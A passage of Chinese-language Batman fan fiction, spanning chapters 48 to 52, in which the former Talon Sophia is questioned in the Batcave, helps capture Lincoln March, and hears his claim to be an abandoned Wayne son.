“如果您有空的话，布鲁斯老爷让我转告您在用餐结束后前往蝙蝠洞探讨有关猫头鹰法庭的事，当然如果可以的话请帮我把这盘小甜饼也送下去，我还需要处理一点其他的琐事，顺便提醒布鲁斯老爷一句，就算是住在地下的吸血鬼男爵长达五十个小时不休息也是有猝死的风险的。” 面对阿福和蔼的态度，索菲亚也放下了戒心接过了盘子。 “那我能再吃两块吗？” “为什么不呢？布鲁斯老爷不会因为少吃两块饼干就大失所望的。” 跟在阿福的燕尾服身后，索菲亚进了书房看老人弯腰摆弄时钟，随着机关的启动通向地下的密道缓缓开启，索菲亚弯腰进入。 “对了，索菲亚小姐，您喜欢房间里的陈设吗？” 索菲亚回头看到阿福的身影回忆起和自家公寓里的陈设大差不差的房间，实在想不出需要添置的东西，如同在自己房间里打滚一样的安全感将打猎归来的小猫头鹰完全包裹，如同躺在飘浮在天空中棉花糖一样的云朵里一样。 直到最后，索菲亚才蹦出一句。 “我能换个可爱点的马克杯吗？我不喜欢黑漆漆的杯子。” “当然。” ———————————————— 罗宾正埋头处理导师从猫头鹰法庭的据点里带回来的致死量线索，光是在各处法庭巢穴发现的尸体以及能够给数十起悬案定罪的线索就够让GCPD全员不眠不休处理三年。 一个如此庞大的犯罪帝国就盘踞在这所遍布着蝙蝠侠眼线的城市中，依靠层层伪装把每个活生生的人当作耗材，当作筹码，他们享受着从每个生活在这座城市的人身上每一分盘剥而来的财富，却又把所有人踩在脚下。 或许有人在反抗他们，最终失去生命，又或许有人嗅到了利益的味道，因而加入了他们，甚至将这个组织不断扩大，直到阴暗的触手遍及每个角落。 提姆不敢想象如果是对法庭一无所知的蝙蝠侠踏入对方专心设置而来的陷阱要付出多少代价才能脱身，如果不是索菲亚打破常理一样突然出现在哥谭，世界上最伟大的侦探会不会一辈子都被编织而成的骗局所蒙蔽，终身都无法堪破哥谭的利益网。 不，这种情况怎么可能会发生，作为侦探，作为义警，作为英雄，他一定会在某天发现法庭的存在并愿意付出一切代价与之对抗，就像每个在哥谭战斗的义警一样。 蝙蝠侠没有受太严重的伤，有赖于情报的充足几乎不费吹灰之力就混进了利爪的队伍，在救出被绑在手术台上马上要和索菲亚一起变成法庭旗下随时可以替换的核动力驴的夜翼后，马不停蹄的又混进了关押着索菲亚的牢房，确认少女没有大碍后顶替原先要对索菲亚处刑的利爪身份，化解了一场充满鲜血的无畏战斗。 这场战斗中蝙蝠侠确认了多名法庭成员的身份，人数之多让提姆都忍不住怀疑这些人是否有在法庭内部组一个迷你市政厅的打算。不夸张地说，哪天在布鲁斯韦恩举办的晚宴上放一颗炸弹，在蝙蝠侠不出场的情况下，可以轻松对法庭进行重创，彻底断绝其在政治，经济层面的多次保护伞。 加上哥谭中学中汇集的大量社会名流的孩子，如果需要现场签字领这些法庭成员回家，提姆可以顺带去GCPD开个同学会。 回到蝙蝠洞的迪克摄入大量麻醉药物，在那场战斗中几乎没太多行动，身上唯一的新伤口只有被B一拳打掉的那颗包含着琥珀金的臼齿，现在还坐在椅子上用冰袋冷敷红肿的脸颊。 “你就不能好好说话吗？上来就是一拳是不是太过分了。” 迪克的话语格外含糊不清，但提姆还是听懂了对方的意思。 “对了，你的好朋友还没醒吗？快两天了她不会饿吗？我记得她是个食量很大的姑娘。” “我提前告诉阿福需要为她准备一些食物，哦，她已经醒了，现在带了刚出炉的小甜饼下来，估计不到一分钟就能到。” 提姆略微侧头，点了点耳侧的监听设备。 “对了布鲁斯，阿福说‘就算是住在地下的吸血鬼男爵长达五十个小时不休息也是有猝死的风险’，你要不要上去休息一下，这里有我和迪克在。” “……” 导师漆黑的背影沉默了许久，提姆看得出来对方不愿意上楼得到阿福阴阳怪气的关心，因而在逃避现实。 “阿福还说索菲亚可以吃两块给你的小甜饼。” “……我听到了。” 导师仍然站在原地处理那些繁琐的文字信息，没有一点离开的想法，就在此时轻盈的脚步声回荡在地下洞窟中，蝙蝠群被突如其来的外来者惊到，四散而去。来者没有一丝惊恐，脚步依旧稳健，带着黄油和牛奶的香味，少女的声音传来。 “小甜饼来了有人要吃吗？” “我要我要。”迪克高举起手招呼索菲亚过来“提米快来我们一起把B的那份吃光。” 感受到导师隐晦的眼神，但提姆还是憋不住坏笑，用脚划动着椅子靠近了迪克和索菲亚。 “那我要多吃两块。” 第49章 在看到蝙蝠侠的那一刻, 索菲亚就像是被主人塞进了航空箱送进宠物医院随时会被噶蛋的猫一样浑身炸毛。 其一，她当着整个哥谭最贯彻不杀原则的男人的面几乎把遇到的法庭成员不论男女老少全都当成瓜果蔬菜来切，在几乎发疯的情况下索菲亚自己都不确定有没有不幸的成员直接原地去世的, 仅凭这一点足够蝙蝠侠等会把索菲亚用外卖餐盒打包送去阿卡姆。 其二，索菲亚来送点心自己吃点了两块，呃, 将近一半的小甜饼, 在少女进入蝙蝠洞后迪克和提姆两个大男孩围了上来一人一口，最后真正送到眼圈发黑气场格外生冷的蝙蝠侠面前时，只剩下了可怜巴巴的两块饼干。 坐在蝙蝠洞里的蝙蝠侠摘下了头罩，露出那一头乌黑的秀发。法庭的事看起来问题不大, 布鲁斯还能有空舒舒服服的洗个澡才下到蝙蝠洞处理后续的事情。 韦恩家似乎都喜欢一种洗发水, 在场的几个男人身上都有着相似的味道, 在布港的时候迪克身上的气味还略有不同，等到回了家大家又都是整齐的海盐味沐浴露的气味。 和索菲亚的猜想差不多，蝙蝠侠没受什么严重的伤, 对方纤长的手指正夹着唯二的小甜饼往嘴里送, 眼神却始终盯着屏幕上的内容, 那张比起迪克来说更加成熟的英俊的脸庞上满是凝重和严肃，因而脸颊上的那道小小的淤青格外显眼, 始作俑者索菲亚默默的移开了视线。 “索菲亚布兰登, 关于猫头鹰法庭你知道多少？” 提姆没有选择转过来仍然背对着索菲亚, 做了亏心事以后不需要和熟人对视的现状让索菲亚松了一口气。 “不是太多, 但是可以说。”索菲亚顿了顿继续说道“四个月前我睁开眼睛，发现正站在东区的一栋楼的楼顶上, 那个时候已经是利爪的打扮了, 在那之前我都在跟着我的师兄做猎魔人的工作。” “你的身份信息属实吗？我在你的资料里找到不少漏洞。”提姆的手指在键盘上下翻飞, 不出片刻那份花了不到一千刀全靠ps技术加持的属于索菲亚的资料就出现在眼前。 “我去查过自己的资料但是什么都找不到，为了隐藏身份我去过黑市找蛇头做了一份，但是内容我没有说谎，呃，百分之六十没有说谎。”索菲亚不紧不慢的回答，蹭到了少年身边拿手指在屏幕上指着伊芙琳的名字“至少我的监护人真的叫伊芙琳，但是有关她的资料也不见了，我师兄也是。” 那张在地下室临时拍摄的证件照上的少女几乎和索菲亚如今的表情重合，索菲亚一眼扫过重新收回了视线。 “如果需要证明的话，我没有。” “那我们回到法庭的话题，你为什么选择离开法庭而不是为法庭效力？” “不喜欢，我不想做杀手，做猎魔人要好得多。” “你没有作为利爪的记忆为什么会知道利爪的弱点？还是说你在隐瞒什么？有什么事是你宁愿被发现利爪身份还也要隐藏的？” 罗宾的逼问节奏越来越快，索菲亚能够感受到被步步紧逼的感觉，余光扫过其他区域，看似在忙其他事情的夜翼几乎没有动过，此时整个蝙蝠洞的注意力都在索菲亚身上。 “你在审讯我吗？”索菲亚压低了嗓音用于打断这段用语言制造压迫感的对话“如果你想知道答案，我的回答只有不知道。” 提姆的眼神里还带着压力，身上咄咄逼人的气息还未散尽，就看到少年露出的浅浅笑意。 “别紧张嘛，我能对你做什么吗？”少年从椅子上站了起来从腰带里掏出一把太妃糖塞进索菲亚手心里“吃点东西吧，其他关于法庭的信息呢？我认为我们应该同步一下情报防止漏掉某些成员。” 索菲亚拆开糖纸把棕褐色的糖果塞进嘴里，糖块刚刚进入口腔就被体温微微融化，牙齿咀嚼着不规则形体的融化糖块，被粘的几乎张不开嘴。 “唔，等一下。”索菲亚努力的嚼嚼嚼。 “施耐德夫妻遇难当天你在哪里。”更加低沉的声音在空气中响起，一直背对着索菲亚的蝙蝠侠终于转过身开口询问。 “我没有参与，我的，嗯，盟友，他需要我去回收那个孩子身上的琥珀金，如果没猜错的话那对夫妻是因为窃取了法庭的财产而被灭口。” “你的盟友是谁？” “……嗯，我不太方便说，我俩做了约定不会出卖彼此，至少现在还不会。”索菲亚沉思片刻决定暂时不出卖林肯马奇。 “林肯马奇对吗？”新的声音加了进来，索菲亚顺着声音看去发现是一直在围观的迪克加入了对话“根据施耐德家的情况彻查青柳小屋，和你的名字一起出现在名单里且资料有问题的人，只有我们的预备役市长——林肯马奇符合这一条件。” 几乎瞬间就被掏空了线索的索菲亚迷茫的环顾四周，被迫记起自己的脑子并不好使这一事实，用手指指着自己cos网络著名表情包。 “我吗？” 索菲亚呆在原地无力的用手捂住了脸半天才继续回答夜翼的问题。 “我之前遇到了他并且抓住了他想要逃离的把柄，但他也抓住了我的，所以我俩约定暂时不互相检举对方。除此以外，我没见过他。” 这种一个白脸一个黑脸的经典审讯技巧被这一家住在地下的蝙蝠系义警玩得炉火纯青，对于索菲亚来讲虽然明白其中的道理，但还是会忍不住被带着走。曾经在审判庭见过这一招的猫头鹰坚信，不出片刻自己曾经被阿尔伯特当狗训的黑历史也得供出来。 “别的没有了，真的没了。”索菲亚顺便一屁股坐在了提姆让出的座位上原地转起了圈圈“利爪唯一的弱点只有低温，现在开始囤速冻装备的话还来得及。哦对了，你们有找到储存利爪的那个据点吗？林肯以为我知道就没有额外告诉我。” “没有。”提姆不知何时走到了座椅背后，将手臂放在靠背上自然而然的靠了过来“这也是我们所担心的。” 少年没有说完的话索菲亚内心自动补完了对方想表达的含义。 之前的行动只是扣下了部分法庭成员以及部分被唤醒的利爪，但大多数利爪仍然潜藏在位置的角落，一旦对方决定破釜沉舟冒着报废所有利爪的风险也要跟蝙蝠侠玩极限一换一，其中要付出的巨额代价实在是让人触目惊心。 尤其是法庭早已经能够批量制造不畏惧疼痛和死亡的利爪，而蝙蝠侠这边的盟友无论是义警还是真正意义上的警员都只是些肉体凡胎的普通人，与这种被强行复活的死尸对抗无亚于螳臂当车。 “放宽心索菲亚，其他义警已经在帮忙的路上了，蝙蝠女侠下午能落地哥谭，神谕在钟楼随时能够辅助我们行动，还有一位估计马上就要到了，你应该很熟悉——” 迪克话音未落，熟悉的紫色披风出现在空气中，随之而来的是索菲亚再熟悉不过的斯蒂芬妮身上带着的阳光的气息。 “索菲——” 被同龄女性紧紧拥抱在怀里，索菲亚眨了眨眼随即张开了双臂回应了属于伙伴的拥抱，不过几天没见，索菲亚仿佛觉得过了几年一样漫长，不同颜色的发丝交缠在一起，如同每个阳光普照的日子里躺在家里的时光。 “你不知道，我做了好多事，我去把我爸送进GCPD了，目前他干的事足够他吃十几年牢饭。”斯蒂芬妮兴奋的眨着眼睛带着手套的手在空气中比划着“我把他从高空丢下去好几次，估计他以后见到我都能吓得尿裤子。” “我以为你会把他杀掉呢？心理学上不是说小孩子要学会弑父吗？”索菲亚嘴上这么说却还是和同伴紧挨着身体依靠着对方“但是现在也很棒啦，你怎么这么棒。” “不是这个弑父吧，这样的话蝙蝠侠一会就要把你扔进阿卡姆了。”斯蒂芬妮甩了甩半长不长的头发“我就被蝙蝠侠抓了个正着，把我骂的可惨了。” 足够有特色的视线投了过来，斯蒂芬妮毫不示弱看向了作为源头的蝙蝠侠。 “我知道错了嘛，你还斤斤计较做什么。” 蝙蝠侠没有说话，片刻才收回视线。 “没有下一次。” “好好好，我发誓绝对不请罪犯玩无声蹦极，也不会把他们的脑袋摘下来，一定好好做义警。”斯蒂芬妮将食指中指并拢贴在太阳穴上“我要是食言就让我没有小甜饼吃。” 索菲亚跟着斯蒂芬妮的动作摆出一样的手势。 “我发誓之后只对非人类动手，除非有人主动惹我，我要是违约的话就让我连夜住进阿卡姆。” “索菲亚，不够。”正在说话的提姆突然出声，转了过来。 作为和索菲亚相处快四个月的人，提姆一下就听出了索菲亚孩子气的誓言里留下的随时可以钻空子的漏洞。 “跟我说，不会对罪犯处以私刑，只是阻止犯罪发生。” 索菲亚发出一声“啧”半天才跟着一起说。 “我发誓，不会对罪犯处以私刑，只是阻止犯罪发生。“ “如果违背——” “如果违背——”索菲亚有气无力的重复着。 “就叫索菲亚未来三个月都没有甜点，零食吃。” “就——不行，太过分了吧。”索菲亚诧异的抬起头“我可以自己买你管不到我。” “我可以全部偷走。” 少年扬起一个足够有礼貌的温和的笑容，虽然在索菲亚眼里这个笑容里满是罗宾鸟的坏心眼。 “但只要你答应，我保证你会有吃不完的零食？” 索菲亚拼尽全力无法战胜。 第50章 索菲亚把脑子里为数不多关于猫头鹰法庭的记忆搜刮了个遍也翻不出什么新东西, 对比蝙蝠侠在猫头鹰巢穴里跑一趟留下的量大管饱到甚至能写本四十万字的内容，索菲亚提供的那点线索显得格外可怜。 自认帮不上什么忙的索菲亚只能无聊的往嘴里继续塞太妃糖蹲在一旁嚼嚼嚼，蝙蝠洞的所有人都忙的要死就连斯蒂芬妮都被抓了壮丁在处理那些繁杂的线索, 光是看上一眼如同蜘蛛网一样密密麻麻的情报索菲亚就两眼一黑。 除了呼吸声和机械运作的声音，就连一开始还有心情和索菲亚说话的斯蒂芬妮的注意力都全部转移到了手上未完成的工作上，因而来自索菲亚在马戏团就被磕碎了屏幕的手机上的提示音格外刺耳。 索菲亚还没来得及打开手机查看信息, 就看到提姆面前那块屏幕上出现了熟悉的画面, 背景上那张在网上找了半个小时才选定的小狗图片能让人一眼认定这就是索菲亚的手机。 一条匿名短信突兀的弹了出来。 “还活着吗？” “一觉醒来法庭炸了。” “这对吗？” 仅仅凭借语言索菲亚就能想到自己的临时盟友摆出了怎样无措的表情，虽然还不能排除对方此时的留言是否具有钓鱼执法的性质，但是想到对方的表情索菲亚就绷不住笑。 “林肯马奇？”提姆抬起头原地活动长时间低头有些僵硬的脖子“你想怎么回复。” “要把他骗过来吗？”索菲亚上前，对着提姆让出的键盘手指敲击几下。 “法庭没有叫你去吗？” “有场处刑, 优先度没有竞选靠前。” 林肯马奇没把话摊开了说, 但索菲亚已经理解了对方的意思, 本身就恨不得连夜跑路的利爪大概率把这场不重要的处刑当做了耳旁风，只是他也没想到只是旷了一次工就会发生公司都没了这样荒谬的事情。 “对，蝙蝠侠混进法庭了, 把那帮人一锅端了。”索菲亚思考片刻打出了这样的文字“那你还竞选吗？” “见面细讲。”等待片刻对方扔过来一个地址, 索菲亚一眼看去就知道这不是林肯之前被撞破的那个安全屋, 应该是个新的落脚地，全新的地址让索菲亚不免有些怀疑。 自己和夜翼被法庭捉到真的只是那位马戏团长的缘故吗？为什么在法庭自己全程没有看到威廉科布的影子？哈利知道迪克的身份但是按理来讲是不认识索菲亚的, 为什么在处刑的时候法庭会知道自己曾经是利爪的身份？ 林肯马奇真的有好好遵守约定没有出卖自己吗？ “你要去吗？” 直到提姆出声, 索菲亚才意识到自己和对方的距离有些太近了几乎到了要贴在一起的地步, 但是这算不上什么问题。比起保持社交距离还是林肯马奇这边的事更急一点, 再说如果提姆不喜欢他会自己移开的，索菲亚又没有把好朋友的腿砍掉。 “嗯。”索菲亚没有过多解释, 而是看向蝙蝠侠“如果不放心可以随便挑个人和我一起去, 我们可以一起把林肯马奇绑回来。” 那个黑漆漆的身影没有立刻回话, 片刻之后夜翼站了起来。 “我和你去，B和罗宾正常夜巡，遇到问题我会发出信号。” “我也去。”斯蒂芬妮跳了起来“带我一个。” —————————————— 林肯是一个注重生活质量的利爪。 即便已经认识了有一段时间，索菲亚还是想吐槽，认真装修安全屋并且会储备生活物资的猫头鹰实在是过于少见，尤其在猫头鹰法庭培养出了一群喜欢鸠占鹊巢的鸟面杀手的情况下。 顺着刻意留出的窗户索菲亚钻了进去，迎面而来的不是陷阱而是来自番茄肉酱的香味，厨房里男人已经到了最后一步，只差把锅里的意面倒出来装盘就算成功。 如果说林肯的陷阱是好吃的饭的话，那也不是不能吃一口。 林肯端着两个盘子出来，看到索菲亚的身影没有一丝意外，将其中一个摆在了索菲亚面前。 “吃。” 简单明了的命令语气被面前香气十足的食物所冲淡，索菲亚闻了闻用叉子卷起了意面。 “给利爪下毒我疯了吗？还不如叫一群利爪埋伏你来的快。” 说罢林肯便没多管索菲亚，自己端着盘子开始吃饭。为了方便干活男人挽起了衬衫的袖子，手臂上线条明显的肌肉此刻处于放松阶段看不出一丝攻击的意图，如果说真的有问题那大概率是林肯此刻过于放松了。 常年和杀手一起相处的索菲亚意识到对方的异常，至少自己在刚刚脱离审判庭的时候还做不到完全把精力放在吃饭上，随便一点风吹草动都会让索菲亚原地跳起来恢复到战斗状态。 “所以法庭到底怎么回事？”索菲亚决定先发制人对着埋头吃饭的林肯甩出了问题“我们还没把蝙蝠侠拉进来呢？” “最开始的情报只说抓住了马戏团的那个小子。”林肯抬起头顺便把盘子里最后那点食物塞进嘴里“大概率蝙蝠侠是为了维护姘头的养子才对法庭动手。” “你不知道被处刑的人吗？”索菲亚用叉子戳着盘子里煮到恰到好处的意面试探的挑起一根送进嘴里。 所以法庭最初的情报中只包括迪克的信息，那么到底是谁认出了她的身份？ “谁去关注这个，又不是让我去处刑。” “对了，除了你法庭有很多人认识我吗？” 意面的味道确实不错，但索菲亚的注意力全部在林肯身上，按照计划夜翼和搅局者此时就在顶层听着两人的对话，只要林肯有一丝异样，三个人就等着冲进来把利爪按在地上。 “应该没有很多。”林肯显然没想到眼前的少女会问出这样的问题，思考片刻才给出了具体的答案“应该只有和我同批次的利爪见过你的脸，但这些利爪之前的评级都不太好被打上劣等的标签被强制休眠了，至少我最近没见到这部分利爪出现。” “你今天怎么回事问这么多问题？” “没什么，只是好奇。”索菲亚移开视线，对着窗外准备就绪的夜翼打了个可以行动的手势，按照计划搅局者应该也在门外埋伏好了“对了你真的不知道被处刑的人是谁吗？” “我不是说了我不知道吗？” “不，你知道。”索菲亚用叉子在盘子上刮来刮去发出难听的噪音，随即用餐巾纸把叉子上残留的酱汁全部擦去“因为被处刑的人是我。” 得到答案的林肯猛地站了起来向后退了两步，嘴里的爆破词还没蹦出来就被一脚踹碎了玻璃的蓝黑色身影吸引了视线，随后从身后而来的破门而入的紫黄色身影发起了攻击。 “你有病吧，我又没有出卖你。” 林肯作为那一批中少有的还能正常运作的利爪还是有两把刷子的，男人在两位义警的攻击下依旧能打的有来有回，还能空出手给索菲亚的脸上来两拳。 “草，你背叛了利爪就算了，为什么还要和蝙蝠侠合作，神经病。” “我们本来就需要盟友加上蝙蝠侠不是更好吗？”索菲亚闪开对方的攻击不紧不慢的回答。 “除了蝙蝠侠，谁都行，只有蝙蝠侠不行。” “没关系，这是夜翼和搅局者，没有蝙蝠侠。” 索菲亚一个飞踢把林肯踹在地上，紧随而来的是夜翼那两根可以电击的卡里棍，林肯被钳制着狠狠吃了一记电击闷哼一声。 “那超人怎么样？我还挺熟的。”夜翼唯恐天下不乱提出了更不靠谱的建议。 “臭外地的滚出哥谭。”林肯的挣扎显得格外无力，男人看向索菲亚的眼神满是仇恨“我没有出卖你，你就这么对我？” “你是蝙蝠侠毒唯吗？就连谜语人有时候还和蝙蝠侠合作呢？别那么排外嘛。”夜翼脸上笑眯眯，手上的力度却没减轻分毫。 “蝙蝠侠端了法庭，但是没找到利爪的位置，如果剩下的那帮人把这群利爪都放出来有多麻烦你应该也清楚。”索菲亚站在男人面前一字一句地说道“你做市长的概率很大，你也不想利爪跟蟑螂一样把你的城市搞得一团糟吧。” “除了蝙蝠侠。”男人显然听了进去，语气里的强硬少了几分“和你合作可以，但不能是蝙蝠侠。” “可以。”索菲亚利落的答应下来，夜翼见此也放开了被压制的男人。 “所以你为什么不喜欢蝙蝠侠？虽然他打人很痛但也不至于恨到这个地步吧，总不能他抢了你的女朋友吧。” “不是。”林肯站了起来，身上被打出的淤青正快速恢复成正常肤色的样子“因为更深层的原因，我长久以来被这件事所困扰无法安眠。” “继续？”索菲亚找了个舒服的位置靠在了墙上打算详细品味同伴的痛苦。 “他抛弃了我。” 话音未落，夜翼就没能憋出笑出了声，搅局者更是好不容易才捂住了嘴，索菲亚知道对方笑出来的原因，自己左耳挂着的那个耳机清晰的记录了蝙蝠侠听到这句话时险些脚滑从楼顶摔下来的狼狈时刻。不光是这两个人，不在场的罗宾和索菲亚目前没见过面的神谕的笑声也在频道里响起。 “他抛弃了我对于我的处境充耳不闻，完全忘记了一直在遭受折磨的我，我为什么不能恨他。” “如果可以我一定要亲手杀了他。” “杀了蝙蝠侠！” 50-60 第51章 林肯马奇在七岁的时候知道了很多秘密, 比如孤儿院被领养走的孩子再也没了联系；比如院长简洁的办公室不过是塑造人设的工具，背后的保险箱里存放着大量的珠宝和黄金，而这些只不过是院长财富的冰山一角；比如他并非没有父母, 他的父母就活跃在电视机里风光无限，他的兄弟是整个哥谭受尽一切宠爱的小王子——布鲁斯韦恩。 青柳小屋的孩子大多在还是婴儿的时候就进入了孤儿院，然后获得了一个远远晚于其他孩子的能够用来称呼的名字, 像是琳达, 约翰，彼得之类说不上什么特殊寓意但是简单易懂的名字，最过分的时候林肯能在狭小的孤儿院里找到八个高矮胖瘦都不一样的约翰。 但是在生日那天，林肯终于听到了自己的身世。 那位在孤儿院的墙上至今挂着照片的温柔的玛莎韦恩女士和她身边帅气的托马斯韦恩, 其实是林肯的亲生父母, 因为一些变故他们只能将身体孱弱的林肯放在青柳小屋照顾, 直到找到合适的时机再把年幼的小儿子接回家一起生活。 看着照片里和玛莎一起出现的格外柔软的布鲁斯，林肯第一次对于这个世界有了实感，原来自己并非是孤身一人, 他也有恩爱的父母, 有活泼柔软的兄长, 他有另一个充满着爱意的名字——托马斯韦恩。 年幼的林肯夜晚缩在那张只是翻身就会吱呀乱叫小床上，一次次的默念自己的名字, 托马斯。玛莎妈妈见到他会不会开心, 他长到了这么大, 身体也很健康, 不再像小时候因为生病只能缩在床上。爸爸会不会像是电视上抱起布鲁斯一样把他也高高的举起，他会用那双宽大的手掌抚摸小儿子的脑袋吗？他一定会的, 他那么爱玛莎, 那么爱布鲁斯, 他一定也会爱小托马斯。 白天的那些带着血泪的训练不再难熬，皮肤上的淤青不再痛苦，伤口感染带来的高烧也无法磨灭小托马斯的意志，因为他是不同的，他是在爱里长大的孩子。只是，他现在还不够好，所以玛莎和托马斯还不能把他接回家，只要他足够优秀，足够完美，足够好，他也能坐上家里那辆时常在公众面前出现的黑色加长林肯，然后享受来自父母的拥抱。 “可是为什么他们还没有来？” 小托马斯任由鲜血顺着额头流下却不敢有丝毫的懈怠。 “是我不够好吗？还是他们更喜欢布鲁斯？” 电视上有着钢蓝色眼睛的男孩幸福的笑容格外刺眼，年幼的利爪几乎要咬碎了有些松动的乳牙。 “小托马斯就不重要吗？是不喜欢我吗？那为什么还要生下我呢？” 林肯马奇闭上双眼，随后放弃了用手捂住被开了个大洞的腹腔，将一切愤怒都凝聚于武器上，杀死了不配作为利爪的残次品。 “为什么！为什么要把我丢掉？为什么不愿意来看我？为什么要生下我！” “妈妈，玛莎，玛莎妈妈，妈妈……” “带我回家好吗？我会很乖，我不会抢走属于布鲁斯的爱，就算是当作养小狗也好，我很好，就算是小狗，也会是很好的小狗，带我回家，别把我丢在这，我什么都愿意做吗。” “妈妈，妈妈——” 鲜血喷溅在男孩稚嫩的脸颊上，金色的瞳孔迟疑了很久，才转头看向了橱窗里的电视，播音员的声音在一片哀嚎中变得空洞遥远，熟悉的字母和姓名无论如何排列组合，小托马斯也无法理解每句话的含义。 什么叫做，韦恩夫妻死于公园街？ 不对不对不对，玛莎和托马斯还没来得及来接自己回家，为什么就死去了？这一定是假新闻，对，新闻媒体太坏了他们总是喜欢在韦恩身上找乐子，上次还说托马斯有二十个情妇私生子加起来能组一支足球队，多可笑啊。托马斯是个好人，他热衷慈善，做了很多好事，大家都很喜欢他，对的，对这是愚人节玩笑，都i是骗人的。一会那个播音员就会哈哈大笑，说你们都被骗了。 利爪在橱窗前站了很久，等到小雨淅淅沥沥的落下，等到泛黄的树叶被水流冲刷而去，堆积在下水口，也没等来父母的消息。 那天哥谭的所有人都知道年仅八岁的布鲁斯成了孤儿，在大家不知道的地方，小托马斯韦恩也再次成了孤儿，那个如同宝藏一样的名字被埋藏起来，于是林肯马奇又成了林肯马奇。 ———————————————————— “我一直在等，我在等爸爸妈妈把我从青柳小屋接回家，后来他们死了，我就想那就让布鲁斯接我回家，就算晚点也没关系，只要能够回家，无论怎样我都没关系。”林肯的眼神格外暗淡，低着头沉浸在往事之中。 “据我所知，布鲁斯韦恩一直都是独生子女。”夜翼听完了这些经历从抽纸里抽出几张递给眼泪几乎要喷涌而出的男人，随后恢复到双手环胸的动作。 “那是谎言，玛莎后面又怀了一次孕，我就是那次生下的孩子。” “确有此事，不过我那时才五岁，因为一场车祸我们失去了小托马斯。”低沉的嗓音平静的诉说那些过去那些带着伤痛的经历，索菲亚没有插嘴而是继续听蝙蝠侠说话“玛莎流产的时候只有五个月，那个年纪的孩子是活不下来的。” “你不觉得bug有点多吗？布鲁斯韦恩和弟弟相差了五岁，也就是说玛莎韦恩和托马斯韦恩离世的时候，小托马斯不过三岁，你三岁就已经成为利爪了吗？” 观察着林肯不复冷静的神态，索菲亚终于开口吐槽。 “如果布鲁斯是双胞胎呢？我是那个因为弱小被丢弃的孩子。他们讨厌我，因为我没有用。” “证据呢？就算是假的法庭也得给你搞一份DNA检测吧，证明呢？” 林肯的嘴唇颤抖了许久，最终还是无力的低下了头。 “最好的机会应该就是布鲁斯韦恩失踪的时候来鸠占鹊巢，法庭为什么没有安排你这么做？”夜翼出声打断了林肯过于特色的独角戏加入其中“还是说韦恩家的管家过于强硬，即便是法庭也没有机会将你安插进来。” 林肯挣扎了片刻最后还是没有否认，默认了夜翼的回答，初见时那只自傲的精致到羽毛的利爪此刻像是遇到了暴风雨被困在野外的猫头鹰，迷茫的观望着陌生的世界。 “假的又怎么样，真的又怎么样，想开一点虽然你没做过韦恩家的超级富二代，但至少你做利爪的时候能把全城的富二代都吊起来打。”搅局者倚靠在靠窗的墙角随时提防着林肯突然暴起跳窗离开“所以先不管布鲁斯韦恩有没有抛弃你，兄弟我只有一个问题，利爪的存放地在哪？要是再等会利爪都被放了出来，局势可就更糟了。” 林肯马奇似乎说了什么，但索菲亚的注意力几乎不在室内这些狗血的哥谭豪门大剧身上，满脑子都是林肯提到自己的寥寥数语。 “有关我的事，你知道多少？” 林肯抬头看向少见的常服打扮的索菲亚，这也是少女进门时男人没有第一时间升起戒备的原因，听到索菲亚的提问，男人思考片刻得出了结论。 “你不记得了。” “对，所以我需要从你这知道我的事，只要是你知道的，全部都告诉我。”索菲亚果断地承认了对方的判断，扭头看向窗外。 又是一阵沉默，林肯答应了一切的条件，包括去寻找记忆里利爪的存放地，包括和夜翼合作处理法庭剩余的势力，包括有关索菲亚的一切。 ———————————— 玛丽亚施耐德只是鲍尔斯研究所一个再普通不过的调查员，她很早就意识到法庭的存在，并理所当然的将自己在院校学习的知识全都运用在有关琥珀金的研究上。 比起光*会，共*会，这些传统组织，猫头鹰法庭有着更让人为之战栗的武器，并非是耗时长达数十年的涉及人员众多的洗脑意识，也并非那些简单粗暴的暴力方式，法庭利用神秘物质琥珀金将人间的战士改造成为忠心于法庭的利爪，将所有的敌人都杀死在了黑夜的夹层之中，除非哥谭这座华美的大厦倒塌，否则无人会意识到法庭的存在。 但改造利爪的技术过于古老，古老意味着落后，法庭往往使用大量的琥珀金进行改造，这种方法不仅造成了严重的浪费，并且对于素材的选取有着过高的要求，即便如此每年的受洗仪式上受体死亡依旧常见，存活率不算乐观。 步入二十世纪后，法庭也试图用科技的力量来改变这些糟糕的现状，结果却依旧算不上乐观， 玛丽亚算不上天才，她没办法像是教科书里的天才一样一夜之间就能冒出解决问题的最佳方案，她拼尽全力的念书才堪堪保证拿到了博士学位，那些高高在上的奖项更是如同天方夜谭一般遥不可及，童年时期发誓要为法庭奉献一切的愿望如今渐行渐远。 直到某一天，一切有了转机一个带着诡异面具的男人带着一个巨大的行李箱出现在玛丽亚长期居住的酒店的咖啡厅。 男人没有露脸，但从举止来看玛丽亚就知道对方是个真正的绅士，就像是自己少有的替导师去接待那些法庭里的老爷们一样，他们有着一些无法用语言概括但某种层面相同的特质。 男人磁性的嗓音请求玛丽亚帮他看管手边的行李箱，他很快就会回来。 玛丽亚没有拒绝，走上前去。 直到站在男人身边玛丽亚才意识到那个行李箱的大小无比惊人，常年省吃俭用的女人实在无法想象到底怎样的行李会用这样大的箱子来装，就好像这不是一个箱子，而是一个棺材一样。 “就好像除去换洗衣物以外，里面还装进去一个人一样。”玛丽亚说笑道。 “那一定是个很不听话的孩子才会被家长关进行李箱惩罚。”男人低声说道，随后优雅的转身向玛丽亚挥手离别。 玛丽亚被这话吓了一跳，但又觉得是自己过于神经质竟然会被玩笑话吓到，只是女人带着行李箱在酒店里从天亮等到天黑，也没有见到男人的身影。 此时白日里男人那句“不听话的孩子”不断在耳边萦绕，玛丽亚或许是鬼迷心窍，又或许是长期不成功的研究几乎要把这个女人逼疯，于是女人弯着腰打开了那个巨大的坟墓一样的行李箱。 “刺啦。”拉链被缓缓拉开，随着光线透入箱子，玛丽亚几乎忘记了呼吸。 和那句玩笑一样，箱子里装着的，是一个女孩。 第52章 将被作为教具的女人完全损坏时, 林肯终于获得了远超于利爪的权限。 在一个依靠利爪生存数百年的神秘组织中，位置最高的当然是法庭的议长，也就是如今的威廉姆斯.鲍尔斯, 其次就是按照家族的财富和地位排列的哥谭当地贵族，最后才是被作为工具的利爪。 这些排列并非是只依照血统和性缘传播的座次表，比如大家公认的法庭中使用年限最高, 知道秘密最多也是能力最强的利爪威廉科布, 他的地位就远远超过一般的法庭成员。 当然法庭中也有一些凭借些破铜烂铁就自以为不可一世的外来暴发户，林肯大多记不清他们的姓氏，但是法庭不介意在吸引他们短暂进入后通过一些意外的方式顺利接手那些被低俗裹挟的财富，而这些大多就是林肯作为利爪的工作。 枪击, 车祸, 自缢, 